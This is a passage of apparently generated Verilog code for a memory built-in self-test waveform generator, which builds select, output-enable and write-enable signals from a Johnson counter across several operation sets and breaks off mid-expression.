wire DEFAULT_SYNCWR_READ_OUTPUTENABLE;
wire DEFAULT_SYNCWR_READMODIFYWRITE_OUTPUTENABLE;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
wire DEFAULT_ASYNC_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_ASYNC_WRITE_OUTPUTENABLE;
wire DEFAULT_ASYNC_READ_OUTPUTENABLE;
wire DEFAULT_ASYNC_READMODIFYWRITE_OUTPUTENABLE;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
wire DEFAULT_ASYNCWR_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_ASYNCWR_WRITE_OUTPUTENABLE;
wire DEFAULT_ASYNCWR_READ_OUTPUTENABLE;
wire DEFAULT_ASYNCWR_READMODIFYWRITE_OUTPUTENABLE;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
wire DEFAULT_CLOCKEDASYNC_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNC_WRITE_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNC_READ_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_OUTPUTENABLE;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
wire DEFAULT_CLOCKEDASYNCWR_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNCWR_WRITE_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNCWR_READ_OUTPUTENABLE;
wire DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_OUTPUTENABLE;
// OperationSet: CLOCKEDASYNCWR }}}
//-----------------------------
// WRITEENABLE waveform
//-----------------------------
wire DEFAULT_WRITEENABLE;
wire DEFAULT_WRITEENABLE_SELECTED;
// OperationSet: SYNC {{{
wire DEFAULT_SYNC_NOOPERATION_WRITEENABLE;
wire DEFAULT_SYNC_WRITE_WRITEENABLE;
wire DEFAULT_SYNC_READ_WRITEENABLE;
wire DEFAULT_SYNC_READMODIFYWRITE_WRITEENABLE;
wire DEFAULT_SYNC_WRITEREAD_WRITEENABLE;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
wire DEFAULT_SYNCWR_NOOPERATION_WRITEENABLE;
wire DEFAULT_SYNCWR_WRITE_WRITEENABLE;
wire DEFAULT_SYNCWR_READ_WRITEENABLE;
wire DEFAULT_SYNCWR_READMODIFYWRITE_WRITEENABLE;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
wire DEFAULT_ASYNC_NOOPERATION_WRITEENABLE;
wire DEFAULT_ASYNC_WRITE_WRITEENABLE;
wire DEFAULT_ASYNC_READ_WRITEENABLE;
wire DEFAULT_ASYNC_READMODIFYWRITE_WRITEENABLE;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
wire DEFAULT_ASYNCWR_NOOPERATION_WRITEENABLE;
wire DEFAULT_ASYNCWR_WRITE_WRITEENABLE;
wire DEFAULT_ASYNCWR_READ_WRITEENABLE;
wire DEFAULT_ASYNCWR_READMODIFYWRITE_WRITEENABLE;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
wire DEFAULT_CLOCKEDASYNC_NOOPERATION_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNC_WRITE_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNC_READ_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_WRITEENABLE;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
wire DEFAULT_CLOCKEDASYNCWR_NOOPERATION_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNCWR_WRITE_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNCWR_READ_WRITEENABLE;
wire DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_WRITEENABLE;
// OperationSet: CLOCKEDASYNCWR }}}
//-----------------
// Compare waveform
//-----------------
wire DEFAULT_STROBEDATAOUT;
wire DEFAULT_STROBEDATAOUT_SELECTED;
// OperationSet: SYNC {{{
wire DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_SYNC_WRITE_STROBEDATAOUT;
wire DEFAULT_SYNC_WRITE_STROBEDATAOUT0;
wire DEFAULT_SYNC_READ_STROBEDATAOUT;
wire DEFAULT_SYNC_READ_STROBEDATAOUT0;
wire DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT0;
wire DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT;
wire DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT0;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
wire DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_SYNCWR_WRITE_STROBEDATAOUT;
wire DEFAULT_SYNCWR_WRITE_STROBEDATAOUT0;
wire DEFAULT_SYNCWR_READ_STROBEDATAOUT;
wire DEFAULT_SYNCWR_READ_STROBEDATAOUT0;
wire DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT0;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
wire DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_ASYNC_WRITE_STROBEDATAOUT;
wire DEFAULT_ASYNC_WRITE_STROBEDATAOUT0;
wire DEFAULT_ASYNC_READ_STROBEDATAOUT;
wire DEFAULT_ASYNC_READ_STROBEDATAOUT0;
wire DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT0;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
wire DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT;
wire DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT0;
wire DEFAULT_ASYNCWR_READ_STROBEDATAOUT;
wire DEFAULT_ASYNCWR_READ_STROBEDATAOUT0;
wire DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT0;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
wire DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT0;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
wire DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT0;
wire DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT;
wire DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT0;
// OperationSet: CLOCKEDASYNCWR }}}
wire BIST_SELECT_BIT0_EN;
wire BIST_OUTPUTENABLE_BIT0_EN;
wire BIST_WRITEENABLE_BIT0_EN;
wire [2:0] DEFAULT_OPSET_REG_BUS;
wire [4:0] OP_SELECT_DECODED_INT;
wire SIGNAL_GEN_ENABLE;
wire SIGNAL_GEN_HOLD;
wire OPSET_SELECT_REG_SI;
reg [2:0] OPSET_SELECT_REG;
wire [2:0] OPSET_SELECT_WIRE;
reg RESET_REG_DEFAULT_MODE_REG;
//----------
// Main Code
//----------
assign LAST_TICK = (LAST_TICK_REG);
assign SO = OPSET_SELECT_REG[2];
assign SIGNAL_GEN_ENABLE = BIST_RUN;
assign SIGNAL_GEN_HOLD = BIST_HOLD_R_INT;
assign LAST_OPERATION_DONE = LAST_STATE_DONE;
//----------------
// Johnson Counter
//----------------
assign RESET_JCNT = OPERATION_LAST_TICK_REG | LAST_OPERATION_DONE | ~SIGNAL_GEN_ENABLE | SIGNAL_GEN_HOLD;
//synopsys sync_set_reset "RESET_JCNT"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
JCNT <= 3'b000;
else
if (RESET_JCNT) begin
JCNT <= 3'b000;
end
else if (~SIGNAL_GEN_HOLD ) begin
JCNT <= {JCNT[1:0],~JCNT[2]};
end
end
assign JCNT_FROM = {~JCNT[1:0], JCNT, ~JCNT[2]};
assign JCNT_TO = {JCNT, ~JCNT};
//------------------
// Johnson Counter_B
//------------------
assign OP_SELECT_DECODED_INT[4] = (BIST_RUN_BUF) & (OP_SELECT_CMD == 3'b100);
assign OP_SELECT_DECODED_INT[3] = (BIST_RUN_BUF) & (OP_SELECT_CMD == 3'b011);
assign OP_SELECT_DECODED_INT[2] = (BIST_RUN_BUF) & (OP_SELECT_CMD == 3'b010);
assign OP_SELECT_DECODED_INT[1] = (BIST_RUN_BUF) & (OP_SELECT_CMD == 3'b001);
assign OP_SELECT_DECODED_INT[0] = (BIST_RUN_BUF) & (OP_SELECT_CMD == 3'b000);
//---------------------------------------------
// Generate Signal SELECT
//---------------------------------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_SYNC_WRITE_SELECT = 1'b1;
assign DEFAULT_SYNC_READ_SELECT = 1'b1;
assign DEFAULT_SYNC_READMODIFYWRITE_SELECT = 1'b1;
assign DEFAULT_SYNC_WRITEREAD_SELECT = 1'b1;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_SYNCWR_WRITE_SELECT = 1'b1;
assign DEFAULT_SYNCWR_READ_SELECT = 1'b1;
assign DEFAULT_SYNCWR_READMODIFYWRITE_SELECT = 1'b1;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_ASYNC_WRITE_SELECT = 1'b1;
assign DEFAULT_ASYNC_READ_SELECT = 1'b1;
assign DEFAULT_ASYNC_READMODIFYWRITE_SELECT = 1'b1;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_ASYNCWR_WRITE_SELECT = 1'b1;
assign DEFAULT_ASYNCWR_READ_SELECT = 1'b1;
assign DEFAULT_ASYNCWR_READMODIFYWRITE_SELECT = 1'b1;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNC_WRITE_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNC_READ_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_SELECT = 1'b1;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_NOOPERATION_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_WRITE_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_READ_SELECT = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_SELECT = 1'b1;
// OperationSet: CLOCKEDASYNCWR }}}
assign DEFAULT_SELECT = (~LAST_STATE_DONE & BIST_RUN_TO_BUF) & (
(DEFAULT_SYNC_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITEREAD_SELECT & OP_SELECT_DECODED_INT[4] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNCWR_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_ASYNC_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNCWR_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_CLOCKEDASYNC_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNCWR_NOOPERATION_SELECT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_WRITE_SELECT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READ_SELECT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_SELECT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[5]));
assign DEFAULT_SELECT_SELECTED =
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_SELECT & DEFAULT_OPSET_SEL[5]);
//---------------------------------------------
// Generate Signal OUTPUTENABLE
//---------------------------------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNC_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNC_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNC_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNC_WRITEREAD_OUTPUTENABLE = 1'b1;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNCWR_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNCWR_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_SYNCWR_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNC_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNC_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNC_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNCWR_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNCWR_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_ASYNCWR_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNC_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNC_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_NOOPERATION_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_WRITE_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_READ_OUTPUTENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_OUTPUTENABLE = 1'b1;
// OperationSet: CLOCKEDASYNCWR }}}
assign DEFAULT_OUTPUTENABLE = (~LAST_STATE_DONE & BIST_RUN) & (
(DEFAULT_SYNC_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITEREAD_OUTPUTENABLE & OP_SELECT_DECODED_INT[4] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNCWR_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_ASYNC_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNCWR_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_CLOCKEDASYNC_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNCWR_NOOPERATION_OUTPUTENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_WRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READ_OUTPUTENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_OUTPUTENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[5]));
assign DEFAULT_OUTPUTENABLE_SELECTED =
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_OUTPUTENABLE & DEFAULT_OPSET_SEL[5]);
//---------------------------------------------
// Generate Signal WRITEENABLE
//---------------------------------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_SYNC_WRITE_WRITEENABLE = 1'b1;
assign DEFAULT_SYNC_READ_WRITEENABLE = 1'b0;
assign DEFAULT_SYNC_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_SYNC_WRITEREAD_WRITEENABLE =
(JCNT_FROM[0] & JCNT_TO[0]);
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_SYNCWR_WRITE_WRITEENABLE =
(JCNT_FROM[0] & JCNT_TO[0]);
assign DEFAULT_SYNCWR_READ_WRITEENABLE = 1'b0;
assign DEFAULT_SYNCWR_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_ASYNC_WRITE_WRITEENABLE =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_ASYNC_READ_WRITEENABLE = 1'b0;
assign DEFAULT_ASYNC_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[2] & JCNT_TO[2]);
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_ASYNCWR_WRITE_WRITEENABLE =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_ASYNCWR_READ_WRITEENABLE = 1'b0;
assign DEFAULT_ASYNCWR_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[4] & JCNT_TO[4]);
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_CLOCKEDASYNC_WRITE_WRITEENABLE = 1'b1;
assign DEFAULT_CLOCKEDASYNC_READ_WRITEENABLE = 1'b0;
assign DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[3] | JCNT_TO[5]);
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_NOOPERATION_WRITEENABLE = 1'b0;
assign DEFAULT_CLOCKEDASYNCWR_WRITE_WRITEENABLE =
(JCNT_FROM[0] | JCNT_TO[2]);
assign DEFAULT_CLOCKEDASYNCWR_READ_WRITEENABLE = 1'b0;
assign DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_WRITEENABLE =
(JCNT_FROM[3] | JCNT_TO[5]);
// OperationSet: CLOCKEDASYNCWR }}}
assign DEFAULT_WRITEENABLE = (~LAST_STATE_DONE & BIST_RUN) & (
(DEFAULT_SYNC_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITEREAD_WRITEENABLE & OP_SELECT_DECODED_INT[4] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNCWR_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_ASYNC_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNCWR_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_CLOCKEDASYNC_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNCWR_NOOPERATION_WRITEENABLE & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_WRITE_WRITEENABLE & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[5]) |
